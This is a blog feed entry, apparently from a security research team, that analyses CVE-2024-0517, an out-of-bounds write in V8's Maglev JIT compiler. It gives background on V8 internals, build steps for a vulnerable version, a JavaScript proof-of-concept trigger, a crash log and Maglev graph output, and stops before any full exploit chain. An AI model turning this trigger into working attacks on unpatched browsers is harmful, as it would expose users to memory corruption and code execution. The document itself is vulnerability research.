<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://whs-segfault.github.io/feed.xml" rel="self" type="application/atom+xml" /><link href="https://whs-segfault.github.io/" rel="alternate" type="text/html" /><updated>2025-03-24T13:08:43+00:00</updated><id>https://whs-segfault.github.io/feed.xml</id><title type="html">SegFau1t</title><subtitle>Write an awesome description for your new site here. You can edit this line in _config.yml. It will appear in your document head meta (for Google search results) and in your feed.xml site description.</subtitle><author><name>011nuyha, bnovkebin, koeunchong, mntly, Adawn0106, NoNoNGU</name></author><entry><title type="html">[Eng] CVE-2024-0517 Analysis</title><link href="https://whs-segfault.github.io/v8/2024/09/03/CVE-2024-0517-Analysis-English.html" rel="alternate" type="text/html" title="[Eng] CVE-2024-0517 Analysis" /><published>2024-09-03T00:00:00+00:00</published><updated>2024-09-03T00:00:00+00:00</updated><id>https://whs-segfault.github.io/v8/2024/09/03/CVE-2024-0517%20Analysis-English</id><content type="html" xml:base="https://whs-segfault.github.io/v8/2024/09/03/CVE-2024-0517-Analysis-English.html"><![CDATA[<h2 id="preliminary-knowledge">Preliminary Knowledge</h2>

<p>In this section, we will explain a few things that you should know beforehand regarding a 1-day exploit. For more detailed information, please refer to other posts. Here, we will explain briefly and move on.</p>

<p>If you want to know more about the V8 engine, you can check out <a href="https://whs-segfault.github.io/v8/2024/08/26/Fundamental_Knowledge_V8.html">Fundamental Knowledge of the V8 engine</a>, which might be helpful.</p>

<p>If you want to know more about JavaScript and the objects created with it, check out <a href="https://whs-segfault.github.io/javascript/2024/08/27/Fundamental_Knowledge_JavaScript.html">Fundamental Knowledgd of JavaScript</a>.</p>

<h3 id="what-is-v8-feat-pipeline">What is V8 (feat. Pipeline)?</h3>

<p>V8 is an engine written in C++ used by the Chrome browser. Since it’s a browser engine, the code it executes is written in JavaScript.</p>

<p>The V8 engine consists of various components for compilation and optimization, and today, we will focus on one of those components: the Maglev JIT compiler.</p>

<p>What is a JIT compiler? IBM explains it this way:</p>
<blockquote>
  <p>A JIT (Just-In-Time) compiler is a runtime environment component that compiles bytecode into native machine code at runtime to improve the performance of Java™ applications.”</p>

</blockquote>

<p>Source: <a href="https://www.ibm.com/docs/ko/sdk-java-technology/8?topic=reference-jit-compiler">IBM - JIT Compiler</a></p>

<p>Maglev is a machine that compiles source code into machine code by statically analyzing it and optimizing it. When the V8 engine executes JavaScript code, if this code or function is repeatedly executed and marked as “hot” code, it determines the level of optimization based on the frequency.</p>

<p>The vulnerability we will be discussing occurred within this Maglev component, so we will be triggering optimizations to occur.</p>

<h3 id="garbage-collection-of-v8">Garbage Collection of V8</h3>

<p>Engines like V8, which allocate memory dynamically, require more advanced memory management techniques for better efficiency and speed. One such technique is Garbage Collection. In simple terms, objects that are still referenced remain alive, while those that are not referenced are cleared out.</p>

<p>To explain how it works, newly created objects are allocated in the Young Generation’s semi-space. Once this semi-space is filled, a Minor GC (Scavenger) occurs, which determines whether objects are dead or alive and clears out the dead ones. The surviving objects are moved to the opposite semi-space. This pattern repeats once the semi-space is filled again. Objects that survive two rounds of garbage collection are moved to the Old Generation.</p>

<p>Thus, the V8 engine manages memory by distinguishing between living and dead objects based on whether their references are maintained. Garbage collection plays a crucial role in the vulnerability we’ll explore later, so I recommend analyzing it more in detail through the post mentioned earlier.</p>

<h3 id="v8-sandbox-aka-ubercage">V8 Sandbox (a.k.a. Ubercage)</h3>

<p>V8 contains a mitigation technique called the Sandbox.</p>

<p>This Sandbox manages the objects that can be used in a separate virtual space called a sandbox. Rather than directly storing addresses of objects, it stores an index into a table.</p>

<p>Additionally, there is a feature called Code Pointer Sandboxing, which does not store code pointers directly in JavaScript objects but stores them as indices into a table. This prevents attackers from tampering with the code pointers to execute arbitrary code flow.</p>

<p>Even if we trigger a vulnerability and prepare all the necessary steps, if we can’t bypass this sandbox mitigation, we won’t succeed in exploiting it. Therefore, in the final part, we will explain how to bypass this mitigation.</p>

<h3 id="js-object-structure">JS Object Structure</h3>

<p>In JavaScript, everything except for primitive values is allocated as objects. So, apart from primitive values like String, Number, Boolean, Null, and Undefined, everything is stored as key-value pairs. (Note: String, Number, and Boolean can become objects if defined using <code class="language-plaintext highlighter-rouge">new</code>.)</p>

<p>When debugging and analyzing memory structures, you’ll see that each object is allocated in similar ways (similar, not equal). Thus, when analyzing memory, you should always remember to compare and analyze the object structure with <code class="language-plaintext highlighter-rouge">%DebugPrint</code>.</p>

<p>The picture below shows a <code class="language-plaintext highlighter-rouge">this</code> object with <code class="language-plaintext highlighter-rouge">%DebugPrint</code> and the actual memory values. From this, you can easily identify that each memory section corresponds to Map, Properties, Elements, In-object property 1 and In-object property 2. Similarly, when memory analysis is needed, you should check how objects are allocated by inspecting them directly.</p>

<center> <img src="https://github.com/user-attachments/assets/1a72416d-591d-4858-a181-f84a292548aa" /> </center>

<center> <img src="https://github.com/user-attachments/assets/e9552f41-7c9c-441d-bd24-0c8a73015bef" /> </center>

<h3 id="allocation-folding">Allocation Folding</h3>

<p>This technique is just as important to understand as garbage collection when analyzing this vulnerability. It is called Allocation Folding. This technique helps reduce or eliminate unnecessary memory allocations by optimizing the memory management process within V8.</p>

<center> <img src="https://github.com/user-attachments/assets/bb16d73f-8ffd-4b9d-a259-f4f3d9518615" /> </center>
<p><br /></p>

<p>For example, when allocating Class B and Array a, memory is allocated twice—once for each. But with allocation folding, instead of allocating memory separately, the total size (size(x + y)) is allocated, and Class B and Array a share that memory.</p>

<p>One key point here is that since the memory is allocated all at once and then divided, Array a will be placed in memory directly after Class B.</p>

<p>To perform allocation folding, Maglev calls a function called <code class="language-plaintext highlighter-rouge">ExtendOrReallocateCurrentRawAllocation()</code>. We will analyze this function in more detail during the V8 source code analysis part.</p>

<h2 id="environment-setup">Environment Setup</h2>

<p>The version of V8 we analyzed is 12.0.267.15. For setting up the environment, we followed the process outlined in the CW blog but changed the V8 version to this one.<br />
Reference: The version built on the CW blog is a developer version where the CVE-2024-0517 patch was not applied yet, but updates regarding the V8 Sandbox (Ubercage) appear to have been implemented. Since the V8 exploitation methods used around that time may no longer work, we recommend building with version 12.0.267.15, which was actually released at that time.</p>

<p>V8 12.0.267.15 : <a href="https://chromium.googlesource.com/v8/v8.git/+/e73f620c2ef1230ddaa61551706225821a87c3b9">https://chromium.googlesource.com/v8/v8.git/+/e73f620c2ef1230ddaa61551706225821a87c3b9</a></p>

<p>CW Research - CVE-2024-0517 : <a href="https://cwresearchlab.co.kr/entry/CVE-2024-0517-Out-of-Bounds-Write-in-V8">https://cwresearchlab.co.kr/entry/CVE-2024-0517-Out-of-Bounds-Write-in-V8</a></p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># install depot_tools
</span><span class="n">cd</span> <span class="o">~</span>
<span class="n">git</span> <span class="n">clone</span> <span class="n">https</span><span class="p">:</span><span class="o">//</span><span class="n">chromium</span><span class="p">.</span><span class="n">googlesource</span><span class="p">.</span><span class="n">com</span><span class="o">/</span><span class="n">chromium</span><span class="o">/</span><span class="n">tools</span><span class="o">/</span><span class="n">depot_tools</span><span class="p">.</span><span class="n">git</span>
<span class="n">export</span> <span class="n">PATH</span><span class="o">=</span><span class="err">$</span><span class="n">HOME</span><span class="o">/</span><span class="n">depot_tools</span><span class="p">:</span><span class="err">$</span><span class="n">PATH</span>
<span class="n">echo</span> <span class="s">'export PATH=$HOME/depot_tools:$PATH'</span> <span class="o">&gt;&gt;</span> <span class="o">~/</span><span class="p">.</span><span class="n">zshrc</span>

<span class="c1"># get V8
</span><span class="n">fetch</span> <span class="n">v8</span>
<span class="n">cd</span> <span class="n">v8</span>
<span class="n">git</span> <span class="n">checkout</span> <span class="n">e73f620c2ef1230ddaa61551706225821a87c3b9</span>
<span class="n">gclient</span> <span class="n">sync</span> <span class="o">-</span><span class="n">D</span>

<span class="c1"># build V8
</span><span class="p">.</span><span class="o">/</span><span class="n">build</span><span class="o">/</span><span class="n">install</span><span class="o">-</span><span class="n">build</span><span class="o">-</span><span class="n">deps</span><span class="p">.</span><span class="n">sh</span>
<span class="n">gn</span> <span class="n">gen</span> <span class="n">out</span><span class="o">/</span><span class="n">debug</span> <span class="o">--</span><span class="n">args</span><span class="o">=</span><span class="s">'v8_no_inline=true v8_optimized_debug=false is_component_build=false v8_expose_memory_corruption_api=true'</span>
<span class="n">ninja</span> <span class="o">-</span><span class="n">C</span> <span class="n">out</span><span class="o">/</span><span class="n">debug</span> <span class="n">d8</span>
<span class="p">.</span><span class="o">/</span><span class="n">tools</span><span class="o">/</span><span class="n">dev</span><span class="o">/</span><span class="n">gm</span><span class="p">.</span><span class="n">py</span> <span class="n">x64</span><span class="p">.</span><span class="n">release</span>

<span class="c1"># install gdb plugin
</span><span class="n">echo</span> <span class="s">'source ~/v8/tools/gdbinit'</span> <span class="o">&gt;&gt;</span> <span class="o">~/</span><span class="p">.</span><span class="n">gdbinit</span>
</code></pre></div></div>

<h2 id="vulnerability-analysis">Vulnerability Analysis</h2>

<h3 id="proof-of-concept">Proof of Concept</h3>

<p>We will now analyze the vulnerability patched in CVE-2024-0517.</p>

<p>This vulnerability arises when Maglev, one of the JIT compilers in the V8 engine, optimizes and executes code. When a child constructor creates an object, an uninitialized <code class="language-plaintext highlighter-rouge">Current_raw_allocation</code> value causes an OOB (Out-Of-Bounds) write.</p>

<p>Here is a portion of the JavaScript code that triggers the vulnerability. When running the PoC code, an error like the one shown below occurs. This error happens because something overwrites the “free-space” section, which is then detected, causing a fatal error and terminating the program.</p>

<p>The code and error message are as follows:</p>

<div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">class</span> <span class="nx">ClassParent</span> <span class="p">{}</span>
<span class="kd">class</span> <span class="nx">ClassBug</span> <span class="kd">extends</span> <span class="nx">ClassParent</span> <span class="p">{</span>
        <span class="kd">constructor</span><span class="p">(</span><span class="nx">a20</span><span class="p">,</span> <span class="nx">a21</span><span class="p">,</span> <span class="nx">a22</span><span class="p">)</span> <span class="p">{</span>
                <span class="kd">const</span> <span class="nx">v24</span> <span class="o">=</span> <span class="k">new</span> <span class="k">new</span><span class="p">.</span><span class="nx">target</span><span class="p">();</span>
                <span class="kd">let</span> <span class="nx">x</span> <span class="o">=</span> <span class="p">[</span><span class="nx">empty_object</span><span class="p">,</span> <span class="nx">empty_object</span><span class="p">,</span> <span class="nx">empty_object</span><span class="p">,</span> <span class="nx">empty_object</span><span class="p">,</span> <span class="nx">empty_object</span><span class="p">,</span> <span class="nx">empty_object</span><span class="p">,</span> <span class="nx">empty_object</span><span class="p">,</span> <span class="nx">empty_object</span><span class="p">];</span>
                <span class="k">super</span><span class="p">();</span>
                <span class="kd">let</span> <span class="nx">a</span> <span class="o">=</span> <span class="p">[</span><span class="mf">1.1</span><span class="p">];</span>
                <span class="k">this</span><span class="p">.</span><span class="nx">x</span> <span class="o">=</span> <span class="nx">x</span><span class="p">;</span>
                <span class="k">this</span><span class="p">.</span><span class="nx">a</span> <span class="o">=</span> <span class="nx">a</span><span class="p">;</span>
                <span class="nx">JSON</span><span class="p">.</span><span class="nx">stringify</span><span class="p">(</span><span class="nx">empty_array</span><span class="p">);</span>
        <span class="p">}</span>
        <span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="nx">dogc</span><span class="p">();</span>
<span class="p">}</span>
</code></pre></div></div>

<div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">~</span><span class="sr">/v8/</span><span class="nx">out$</span> <span class="p">.</span><span class="o">/</span><span class="nx">debug</span><span class="o">/</span><span class="nx">d8</span> <span class="o">--</span><span class="nx">allow</span><span class="o">-</span><span class="nx">natives</span><span class="o">-</span><span class="nx">syntax</span> <span class="p">.</span><span class="o">/</span><span class="nx">code</span><span class="o">/</span><span class="nx">exploit</span><span class="p">.</span><span class="nx">js</span>

<span class="err">#</span>
<span class="err">#</span> <span class="nx">Fatal</span> <span class="nx">error</span> <span class="k">in</span> <span class="p">..</span><span class="o">/</span><span class="p">..</span><span class="o">/</span><span class="nx">src</span><span class="o">/</span><span class="nx">objects</span><span class="o">/</span><span class="nx">free</span><span class="o">-</span><span class="nx">space</span><span class="o">-</span><span class="nx">inl</span><span class="p">.</span><span class="nx">h</span><span class="p">,</span> <span class="nx">line</span> <span class="mi">75</span>
<span class="err">#</span> <span class="nx">Check</span> <span class="nx">failed</span><span class="p">:</span> <span class="o">!</span><span class="nx">heap</span><span class="o">-&gt;</span><span class="nx">deserialization_complete</span><span class="p">()</span> <span class="o">||</span> <span class="nx">map_slot</span><span class="p">().</span><span class="nx">contains_map_value</span><span class="p">(</span><span class="nx">free_space_map</span><span class="p">.</span><span class="nx">ptr</span><span class="p">()).</span>
<span class="err">#</span>
<span class="err">#</span>
<span class="err">#</span>
<span class="err">#</span><span class="nx">FailureMessage</span> <span class="nb">Object</span><span class="p">:</span> <span class="mh">0x7ffe9d485188</span>
<span class="o">====</span> <span class="nx">C</span> <span class="nx">stack</span> <span class="nx">trace</span> <span class="o">===============================</span>

    <span class="p">.</span><span class="o">/</span><span class="nx">debug</span><span class="o">/</span><span class="nx">d8</span><span class="p">(</span><span class="nx">v8</span><span class="p">::</span><span class="nx">base</span><span class="p">::</span><span class="nx">debug</span><span class="p">::</span><span class="nx">StackTrace</span><span class="p">::</span><span class="nx">StackTrace</span><span class="p">()</span><span class="o">+</span><span class="mh">0x1e</span><span class="p">)</span> <span class="p">[</span><span class="mh">0x5b9ae47a7fde</span><span class="p">]</span>
    <span class="p">.</span><span class="o">/</span><span class="nx">debug</span><span class="o">/</span><span class="nx">d8</span><span class="p">(</span><span class="o">+</span><span class="mh">0x8c0960d</span><span class="p">)</span> <span class="p">[</span><span class="mh">0x5b9ae47a260d</span><span class="p">]</span>
    <span class="p">.</span><span class="o">/</span><span class="nx">debug</span><span class="o">/</span><span class="nx">d8</span><span class="p">(</span><span class="nx">V8_Fatal</span><span class="p">(</span><span class="nx">char</span> <span class="kd">const</span><span class="o">*</span><span class="p">,</span> <span class="nx">int</span><span class="p">,</span> <span class="nx">char</span> <span class="kd">const</span><span class="o">*</span><span class="p">,</span> <span class="p">...)</span><span class="o">+</span><span class="mh">0x1ac</span><span class="p">)</span> <span class="p">[</span><span class="mh">0x5b9ae477853c</span><span class="p">]</span>
    <span class="p">.</span><span class="o">/</span><span class="nx">debug</span><span class="o">/</span><span class="nx">d8</span><span class="p">(</span><span class="nx">v8</span><span class="p">::</span><span class="nx">internal</span><span class="p">::</span><span class="nx">FreeSpace</span><span class="p">::</span><span class="nx">IsValid</span><span class="p">()</span> <span class="kd">const</span><span class="o">+</span><span class="mh">0xdf</span><span class="p">)</span> <span class="p">[</span><span class="mh">0x5b9ae0e79e1f</span><span class="p">]</span>
    <span class="p">.</span><span class="o">/</span><span class="nx">debug</span><span class="o">/</span><span class="nx">d8</span><span class="p">(</span><span class="nx">v8</span><span class="p">::</span><span class="nx">internal</span><span class="p">::</span><span class="nx">FreeSpace</span><span class="p">::</span><span class="nx">next</span><span class="p">()</span> <span class="kd">const</span><span class="o">+</span><span class="mh">0x1d</span><span class="p">)</span> <span class="p">[</span><span class="mh">0x5b9ae0e789dd</span><span class="p">]</span>
<span class="p">[</span><span class="nx">truncated</span><span class="p">]</span>
</code></pre></div></div>

<p>Let’s check what overwrote this free space.</p>

<p>Maglev optimized the code as shown below. [1] indicates <code class="language-plaintext highlighter-rouge">new.target()</code>, [2] indicates the allocation of the x array, and [3] indicates the allocation of the <code class="language-plaintext highlighter-rouge">this</code> object and array <code class="language-plaintext highlighter-rouge">a</code> through the <code class="language-plaintext highlighter-rouge">super()</code> function.</p>

<p>From this, we can observe that the allocation of array <code class="language-plaintext highlighter-rouge">a</code> is always placed at an address 20 bytes higher than the <code class="language-plaintext highlighter-rouge">this</code> object.</p>

<p>Next, we will trigger garbage collection between the allocations of the <code class="language-plaintext highlighter-rouge">this</code> object and array <code class="language-plaintext highlighter-rouge">a</code>. Although <code class="language-plaintext highlighter-rouge">a</code> should be allocated in the Young Space, it gets placed under the <code class="language-plaintext highlighter-rouge">this</code> object in the Old Space due to garbage collection. This code causes the array <code class="language-plaintext highlighter-rouge">a</code> to overwrite the free space, which then gets detected and triggers a fatal error.</p>

<div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">//add option --print-maglev-graph : ./debug/d8 --allow-natives-syntax --print-maglev-graph ./code/exploit.js</span>

<span class="p">[</span><span class="nx">truncated</span><span class="p">]</span>
<span class="p">[</span><span class="mi">1</span><span class="p">]</span>
       <span class="mi">5</span> <span class="p">:</span> <span class="nx">Construct</span> <span class="nx">r0</span><span class="p">,</span> <span class="nx">r0</span><span class="o">-</span><span class="nx">r0</span><span class="p">,</span> <span class="p">[</span><span class="mi">0</span><span class="p">]</span>
               <span class="err">↱</span> <span class="nx">eager</span> <span class="p">@</span><span class="nd">5</span> <span class="p">(</span><span class="mi">8</span> <span class="nx">live</span> <span class="nx">vars</span><span class="p">)</span>
        <span class="mi">44</span><span class="o">/</span><span class="mi">11</span><span class="p">:</span> <span class="nx">CheckValue</span><span class="p">(</span><span class="mh">0x03a40011c4f5</span> <span class="o">&lt;</span><span class="nx">JSFunction</span> <span class="nx">ClassParent</span> <span class="p">(</span><span class="nx">sfi</span> <span class="o">=</span> <span class="mh">0x3a40011b095</span><span class="p">)</span><span class="o">&gt;</span><span class="p">)</span> <span class="p">[</span><span class="nx">v41</span><span class="o">/</span><span class="nx">n8</span><span class="p">:[</span><span class="nx">rdx</span><span class="o">|</span><span class="nx">R</span><span class="o">|</span><span class="nx">t</span><span class="p">]]</span>
        <span class="mi">45</span><span class="o">/</span><span class="mi">15</span><span class="p">:</span> <span class="nx">AllocateRaw</span><span class="p">(</span><span class="nx">Young</span><span class="p">,</span> <span class="mi">20</span><span class="p">)</span> <span class="err">→</span> <span class="p">[</span><span class="nx">rdi</span><span class="o">|</span><span class="nx">R</span><span class="o">|</span><span class="nx">t</span><span class="p">],</span> <span class="nx">live</span> <span class="nx">range</span><span class="p">:</span> <span class="p">[</span><span class="mi">45</span><span class="o">-</span><span class="mi">50</span><span class="p">]</span>
        <span class="mi">46</span><span class="o">/</span><span class="mi">16</span><span class="p">:</span> <span class="nx">StoreMap</span><span class="p">(</span><span class="mh">0x03a4001222fd</span> <span class="o">&lt;</span><span class="nb">Map</span><span class="p">[</span><span class="mi">20</span><span class="p">](</span><span class="nx">HOLEY_ELEMENTS</span><span class="p">)</span><span class="o">&gt;</span><span class="p">)</span> <span class="p">[</span><span class="nx">v45</span><span class="o">/</span><span class="nx">n15</span><span class="p">:[</span><span class="nx">rdi</span><span class="o">|</span><span class="nx">R</span><span class="o">|</span><span class="nx">t</span><span class="p">]]</span>
          <span class="mi">152</span><span class="p">:</span> <span class="nx">ConstantGapMove</span><span class="p">(</span><span class="nx">v14</span><span class="o">/</span><span class="nx">n14</span> <span class="err">→</span> <span class="p">[</span><span class="nx">rax</span><span class="o">|</span><span class="nx">R</span><span class="o">|</span><span class="nx">t</span><span class="p">])</span>
        <span class="mi">47</span><span class="o">/</span><span class="mi">17</span><span class="p">:</span> <span class="nx">StoreTaggedFieldNoWriteBarrier</span><span class="p">(</span><span class="mh">0x4</span><span class="p">)</span> <span class="p">[</span><span class="nx">v45</span><span class="o">/</span><span class="nx">n15</span><span class="p">:[</span><span class="nx">rdi</span><span class="o">|</span><span class="nx">R</span><span class="o">|</span><span class="nx">t</span><span class="p">],</span> <span class="nx">v14</span><span class="o">/</span><span class="nx">n14</span><span class="p">:[</span><span class="nx">rax</span><span class="o">|</span><span class="nx">R</span><span class="o">|</span><span class="nx">t</span><span class="p">]]</span>
        <span class="mi">48</span><span class="o">/</span><span class="mi">18</span><span class="p">:</span> <span class="nx">StoreTaggedFieldNoWriteBarrier</span><span class="p">(</span><span class="mh">0x8</span><span class="p">)</span> <span class="p">[</span><span class="nx">v45</span><span class="o">/</span><span class="nx">n15</span><span class="p">:[</span><span class="nx">rdi</span><span class="o">|</span><span class="nx">R</span><span class="o">|</span><span class="nx">t</span><span class="p">],</span> <span class="nx">v14</span><span class="o">/</span><span class="nx">n14</span><span class="p">:[</span><span class="nx">rax</span><span class="o">|</span><span class="nx">R</span><span class="o">|</span><span class="nx">t</span><span class="p">]]</span>
          <span class="mi">153</span><span class="p">:</span> <span class="nx">ConstantGapMove</span><span class="p">(</span><span class="nx">v11</span><span class="o">/</span><span class="nx">n13</span> <span class="err">→</span> <span class="p">[</span><span class="nx">rcx</span><span class="o">|</span><span class="nx">R</span><span class="o">|</span><span class="nx">t</span><span class="p">])</span>
        <span class="mi">49</span><span class="o">/</span><span class="mi">19</span><span class="p">:</span> <span class="nx">StoreTaggedFieldNoWriteBarrier</span><span class="p">(</span><span class="mh">0xc</span><span class="p">)</span> <span class="p">[</span><span class="nx">v45</span><span class="o">/</span><span class="nx">n15</span><span class="p">:[</span><span class="nx">rdi</span><span class="o">|</span><span class="nx">R</span><span class="o">|</span><span class="nx">t</span><span class="p">],</span> <span class="nx">v11</span><span class="o">/</span><span class="nx">n13</span><span class="p">:[</span><span class="nx">rcx</span><span class="o">|</span><span class="nx">R</span><span class="o">|</span><span class="nx">t</span><span class="p">]]</span>
        <span class="mi">50</span><span class="o">/</span><span class="mi">20</span><span class="p">:</span> <span class="nx">StoreTaggedFieldNoWriteBarrier</span><span class="p">(</span><span class="mh">0x10</span><span class="p">)</span> <span class="p">[</span><span class="nx">v45</span><span class="o">/</span><span class="nx">n15</span><span class="p">:[</span><span class="nx">rdi</span><span class="o">|</span><span class="nx">R</span><span class="o">|</span><span class="nx">t</span><span class="p">],</span> <span class="nx">v11</span><span class="o">/</span><span class="nx">n13</span><span class="p">:[</span><span class="nx">rcx</span><span class="o">|</span><span class="nx">R</span><span class="o">|</span><span class="nx">t</span><span class="p">]]</span>
<span class="p">[</span><span class="nx">truncated</span><span class="p">]</span>
<span class="p">[</span><span class="mi">2</span><span class="p">]</span>
      <span class="mi">11</span> <span class="p">:</span> <span class="nx">CreateArrayLiteral</span> <span class="p">[</span><span class="mi">0</span><span class="p">],</span> <span class="p">[</span><span class="mi">2</span><span class="p">],</span> <span class="err">#</span><span class="mi">37</span>
        <span class="mi">52</span><span class="o">/</span><span class="mi">24</span><span class="p">:</span> <span class="nx">AllocateRaw</span><span class="p">(</span><span class="nx">Young</span><span class="p">,</span> <span class="mi">56</span><span class="p">)</span> <span class="err">→</span> <span class="p">[</span><span class="nx">rdi</span><span class="o">|</span><span class="nx">R</span><span class="o">|</span><span class="nx">t</span><span class="p">],</span> <span class="nx">live</span> <span class="nx">range</span><span class="p">:</span> <span class="p">[</span><span class="mi">52</span><span class="o">-</span><span class="mi">67</span><span class="p">]</span>
        <span class="mi">53</span><span class="o">/</span><span class="mi">25</span><span class="p">:</span> <span class="nx">StoreMap</span><span class="p">(</span><span class="mh">0x03a400000565</span> <span class="o">&lt;</span><span class="nb">Map</span><span class="p">(</span><span class="nx">FIXED_ARRAY_TYPE</span><span class="p">)</span><span class="o">&gt;</span><span class="p">)</span> <span class="p">[</span><span class="nx">v52</span><span class="o">/</span><span class="nx">n24</span><span class="p">:[</span><span class="nx">rdi</span><span class="o">|</span><span class="nx">R</span><span class="o">|</span><span class="nx">t</span><span class="p">]]</span>
          <span class="mi">154</span><span class="p">:</span> <span class="nx">ConstantGapMove</span><span class="p">(</span><span class="nx">v24</span><span class="o">/</span><span class="nx">n26</span> <span class="err">→</span> <span class="p">[</span><span class="nx">rbx</span><span class="o">|</span><span class="nx">R</span><span class="o">|</span><span class="nx">t</span><span class="p">])</span>
        <span class="mi">54</span><span class="o">/</span><span class="mi">27</span><span class="p">:</span> <span class="nx">StoreTaggedFieldNoWriteBarrier</span><span class="p">(</span><span class="mh">0x4</span><span class="p">)</span> <span class="p">[</span><span class="nx">v52</span><span class="o">/</span><span class="nx">n24</span><span class="p">:[</span><span class="nx">rdi</span><span class="o">|</span><span class="nx">R</span><span class="o">|</span><span class="nx">t</span><span class="p">],</span> <span class="nx">v24</span><span class="o">/</span><span class="nx">n26</span><span class="p">:[</span><span class="nx">rbx</span><span class="o">|</span><span class="nx">R</span><span class="o">|</span><span class="nx">t</span><span class="p">]]</span>
          <span class="mi">155</span><span class="p">:</span> <span class="nx">ConstantGapMove</span><span class="p">(</span><span class="nx">v16</span><span class="o">/</span><span class="nx">n23</span> <span class="err">→</span> <span class="p">[</span><span class="nx">r11</span><span class="o">|</span><span class="nx">R</span><span class="o">|</span><span class="nx">t</span><span class="p">])</span>
<span class="p">[</span><span class="nx">truncated</span><span class="p">]</span>
        <span class="mi">63</span><span class="o">/</span><span class="mi">36</span><span class="p">:</span> <span class="nx">FoldedAllocation</span><span class="p">(</span><span class="o">+</span><span class="mi">40</span><span class="p">)</span> <span class="p">[</span><span class="nx">v52</span><span class="o">/</span><span class="nx">n24</span><span class="p">:[</span><span class="nx">rdi</span><span class="o">|</span><span class="nx">R</span><span class="o">|</span><span class="nx">t</span><span class="p">]]</span> <span class="err">→</span> <span class="p">[</span><span class="nx">rsi</span><span class="o">|</span><span class="nx">R</span><span class="o">|</span><span class="nx">t</span><span class="p">]</span> <span class="p">(</span><span class="nx">spilled</span><span class="p">:</span> <span class="p">[</span><span class="nx">stack</span><span class="p">:</span><span class="mi">1</span><span class="o">|</span><span class="nx">t</span><span class="p">]),</span> <span class="nx">live</span> <span class="nx">range</span><span class="p">:</span> <span class="p">[</span><span class="mi">63</span><span class="o">-</span><span class="mi">137</span><span class="p">]</span>
          <span class="mi">156</span><span class="p">:</span> <span class="nx">GapMove</span><span class="p">([</span><span class="nx">rdi</span><span class="o">|</span><span class="nx">R</span><span class="o">|</span><span class="nx">t</span><span class="p">]</span> <span class="err">→</span> <span class="p">[</span><span class="nx">r8</span><span class="o">|</span><span class="nx">R</span><span class="o">|</span><span class="nx">t</span><span class="p">])</span>
          <span class="mi">157</span><span class="p">:</span> <span class="nx">GapMove</span><span class="p">([</span><span class="nx">rsi</span><span class="o">|</span><span class="nx">R</span><span class="o">|</span><span class="nx">t</span><span class="p">]</span> <span class="err">→</span> <span class="p">[</span><span class="nx">rdi</span><span class="o">|</span><span class="nx">R</span><span class="o">|</span><span class="nx">t</span><span class="p">])</span>
        <span class="mi">64</span><span class="o">/</span><span class="mi">37</span><span class="p">:</span> <span class="nx">StoreMap</span><span class="p">(</span><span class="mh">0x03a40010eea5</span> <span class="o">&lt;</span><span class="nb">Map</span><span class="p">[</span><span class="mi">16</span><span class="p">](</span><span class="nx">PACKED_ELEMENTS</span><span class="p">)</span><span class="o">&gt;</span><span class="p">)</span> <span class="p">[</span><span class="nx">v63</span><span class="o">/</span><span class="nx">n36</span><span class="p">:[</span><span class="nx">rdi</span><span class="o">|</span><span class="nx">R</span><span class="o">|</span><span class="nx">t</span><span class="p">]]</span>
        <span class="mi">65</span><span class="o">/</span><span class="mi">38</span><span class="p">:</span> <span class="nx">StoreTaggedFieldNoWriteBarrier</span><span class="p">(</span><span class="mh">0x4</span><span class="p">)</span> <span class="p">[</span><span class="nx">v63</span><span class="o">/</span><span class="nx">n36</span><span class="p">:[</span><span class="nx">rsi</span><span class="o">|</span><span class="nx">R</span><span class="o">|</span><span class="nx">t</span><span class="p">],</span> <span class="nx">v14</span><span class="o">/</span><span class="nx">n14</span><span class="p">:[</span><span class="nx">rax</span><span class="o">|</span><span class="nx">R</span><span class="o">|</span><span class="nx">t</span><span class="p">]]</span>
<span class="p">[</span><span class="nx">truncated</span><span class="p">]</span>
<span class="p">[</span><span class="mi">3</span><span class="p">]</span>
    <span class="mi">108</span> <span class="p">:</span> <span class="nx">FindNonDefaultConstructorOrConstruct</span> <span class="o">&lt;</span><span class="nx">closure</span><span class="o">&gt;</span><span class="p">,</span> <span class="nx">r0</span><span class="p">,</span> <span class="nx">r8</span><span class="o">-</span><span class="nx">r9</span>
       <span class="mi">100</span><span class="o">/</span><span class="mi">90</span><span class="p">:</span> <span class="nx">AllocateRaw</span><span class="p">(</span><span class="nx">Young</span><span class="p">,</span> <span class="mi">52</span><span class="p">)</span> <span class="err">→</span> <span class="p">[</span><span class="nx">rdi</span><span class="o">|</span><span class="nx">R</span><span class="o">|</span><span class="nx">t</span><span class="p">]</span> <span class="p">(</span><span class="nx">spilled</span><span class="p">:</span> <span class="p">[</span><span class="nx">stack</span><span class="p">:</span><span class="mi">3</span><span class="o">|</span><span class="nx">t</span><span class="p">]),</span> <span class="nx">live</span> <span class="nx">range</span><span class="p">:</span> <span class="p">[</span><span class="mi">100</span><span class="o">-</span><span class="mi">145</span><span class="p">]</span>
       <span class="mi">101</span><span class="o">/</span><span class="mi">91</span><span class="p">:</span> <span class="nx">StoreMap</span><span class="p">(</span><span class="mh">0x03a4001222fd</span> <span class="o">&lt;</span><span class="nb">Map</span><span class="p">[</span><span class="mi">20</span><span class="p">](</span><span class="nx">HOLEY_ELEMENTS</span><span class="p">)</span><span class="o">&gt;</span><span class="p">)</span> <span class="p">[</span><span class="nx">v100</span><span class="o">/</span><span class="nx">n90</span><span class="p">:[</span><span class="nx">rdi</span><span class="o">|</span><span class="nx">R</span><span class="o">|</span><span class="nx">t</span><span class="p">]]</span>
